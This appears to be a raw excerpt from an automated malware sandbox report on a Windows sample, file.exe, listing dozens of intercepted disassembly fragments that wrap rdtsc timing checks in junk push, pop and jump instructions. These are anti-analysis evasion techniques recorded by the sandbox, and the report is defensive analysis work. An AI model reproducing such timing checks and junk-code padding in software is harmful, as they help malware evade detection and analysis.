Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ABF8C second address: 11ABF97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FBF08D33346h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ABF97 second address: 11ABF9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC3C2 second address: 11AC3DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF08D33356h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC3DC second address: 11AC3E6 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBF09325AB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC5C3 second address: 11AC5D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC5D5 second address: 11AC5DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC5DB second address: 11AC5E8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop ebx 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC71D second address: 11AC725 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ACA48 second address: 11ACA4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AB65C second address: 11AB660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113228B second address: 1132295 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FBF08D33346h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B1610 second address: 11B1614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A19E second address: 1151D8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D33350h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FBF08D33355h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 jmp 00007FBF08D33350h 0x00000019 nop 0x0000001a mov dword ptr [ebp+122D346Dh], esi 0x00000020 call dword ptr [ebp+122D332Eh] 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push edi 0x0000002a pop edi 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A619 second address: 116A61F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A61F second address: 116A625 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A625 second address: 116A629 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A629 second address: 116A64E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D33354h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007FBF08D33346h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A64E second address: 116A654 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116AC00 second address: 116AC05 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116AF5C second address: 116AF62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116AF62 second address: 116AF66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116AF66 second address: 116AF6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116AF6A second address: 116AFBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnp 00007FBF08D33357h 0x0000000f jmp 00007FBF08D33351h 0x00000014 nop 0x00000015 sub ecx, 5475B3BAh 0x0000001b push 0000001Eh 0x0000001d xor edx, dword ptr [ebp+122D27C8h] 0x00000023 mov ecx, dword ptr [ebp+122D29F5h] 0x00000029 nop 0x0000002a push edx 0x0000002b jmp 00007FBF08D33351h 0x00000030 pop edx 0x00000031 push eax 0x00000032 pushad 0x00000033 push eax 0x00000034 push ebx 0x00000035 pop ebx 0x00000036 pop eax 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B111 second address: 116B12D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325AC2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B25A second address: 116B25E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B3AC second address: 116B3B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B3B0 second address: 116B3B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B3B4 second address: 116B3BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B3BA second address: 116B3C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B3C1 second address: 116B3F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a add di, ECE3h 0x0000000f lea eax, dword ptr [ebp+1247FEE6h] 0x00000015 jmp 00007FBF09325AC1h 0x0000001a nop 0x0000001b push eax 0x0000001c push edx 0x0000001d jp 00007FBF09325AB8h 0x00000023 push ecx 0x00000024 pop ecx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B3F2 second address: 116B40C instructions: 0x00000000 rdtsc 0x00000002 jng 00007FBF08D3334Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007FBF08D33346h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B40C second address: 116B410 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B1ABE second address: 11B1AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B1C53 second address: 11B1C5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B1C5B second address: 11B1C61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B1C61 second address: 11B1C65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1132270 second address: 113228B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FBF08D33353h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B1DBB second address: 11B1DCC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FBF09325AB6h 0x00000009 jbe 00007FBF09325AB6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B20B0 second address: 11B20B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B20B8 second address: 11B20C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B23AD second address: 11B23C3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FBF08D3334Bh 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4A52 second address: 11B4A58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B7C5A second address: 11B7C5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B7C5E second address: 11B7C70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c jnc 00007FBF09325AB6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B7C70 second address: 11B7C8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D33356h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B773C second address: 11B7746 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBF09325AB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B7746 second address: 11B774F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BBE74 second address: 11BBEA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FBF09325AC1h 0x0000000c jmp 00007FBF09325AC8h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BBEA6 second address: 11BBEC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jg 00007FBF08D3334Ch 0x0000000c jnl 00007FBF08D33346h 0x00000012 push eax 0x00000013 push edx 0x00000014 jno 00007FBF08D33346h 0x0000001a push eax 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF954 second address: 11BF95A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF95A second address: 11BF97A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FBF08D33359h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF97A second address: 11BF98F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBF09325ABCh 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BFC42 second address: 11BFC48 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BFC48 second address: 11BFC5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007FBF09325AB6h 0x0000000e jp 00007FBF09325AB6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BFF15 second address: 11BFF1B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C01DD second address: 11C01F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c jng 00007FBF09325AB6h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C01F0 second address: 11C01FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FBF08D33346h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C01FC second address: 11C0200 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C7985 second address: 11C7989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C6110 second address: 11C611E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FBF09325AC2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C611E second address: 11C612E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FBF08D33346h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C62A4 second address: 11C62B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FBF09325ABFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C6990 second address: 11C6996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116AE1B second address: 116AE56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325AC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a sub edi, dword ptr [ebp+122D26DFh] 0x00000010 push ecx 0x00000011 sbb edx, 7D917F00h 0x00000017 pop edi 0x00000018 push 00000004h 0x0000001a movzx ecx, ax 0x0000001d nop 0x0000001e push esi 0x0000001f push edi 0x00000020 pushad 0x00000021 popad 0x00000022 pop edi 0x00000023 pop esi 0x00000024 push eax 0x00000025 jnl 00007FBF09325AC0h 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C6C81 second address: 11C6C87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C6C87 second address: 11C6C8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C6C8D second address: 11C6C93 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD258 second address: 11CD272 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b jc 00007FBF09325AB6h 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 jl 00007FBF09325AB6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD272 second address: 11CD292 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push edx 0x0000000d jp 00007FBF08D3334Ah 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD292 second address: 11CD29C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FBF09325AB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD41E second address: 11CD42A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FBF08D33346h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD849 second address: 11CD84D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD84D second address: 11CD866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007FBF08D33350h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CDAEB second address: 11CDB14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c js 00007FBF09325AB6h 0x00000012 jmp 00007FBF09325AC3h 0x00000017 pop eax 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CDE25 second address: 11CDE4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnc 00007FBF08D33346h 0x0000000d jmp 00007FBF08D33351h 0x00000012 jnc 00007FBF08D33346h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CE0B6 second address: 11CE0BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CEDD6 second address: 11CEDE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FBF08D33346h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007FBF08D33346h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D8975 second address: 11D897A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D7B35 second address: 11D7B4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBF08D33350h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D7B4A second address: 11D7B54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D8052 second address: 11D807F instructions: 0x00000000 rdtsc 0x00000002 js 00007FBF08D33346h 0x00000008 jp 00007FBF08D33346h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 ja 00007FBF08D33359h 0x00000016 jmp 00007FBF08D33353h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D807F second address: 11D8085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D8085 second address: 11D8092 instructions: 0x00000000 rdtsc 0x00000002 js 00007FBF08D33346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D8092 second address: 11D80C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007FBF09325ADCh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D80C6 second address: 11D80CF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D83C6 second address: 11D83D4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 js 00007FBF09325ABEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E0835 second address: 11E0839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E0839 second address: 11E083D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DE9F7 second address: 11DE9FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DEE5A second address: 11DEE67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FBF09325AB6h 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF169 second address: 11DF16E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF16E second address: 11DF190 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 pop eax 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FBF09325AC8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF190 second address: 11DF194 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF194 second address: 11DF1BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF09325AC5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push edx 0x00000011 pop edx 0x00000012 jbe 00007FBF09325AB6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF1BE second address: 11DF1C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF1C3 second address: 11DF1C8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF4AC second address: 11DF4BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
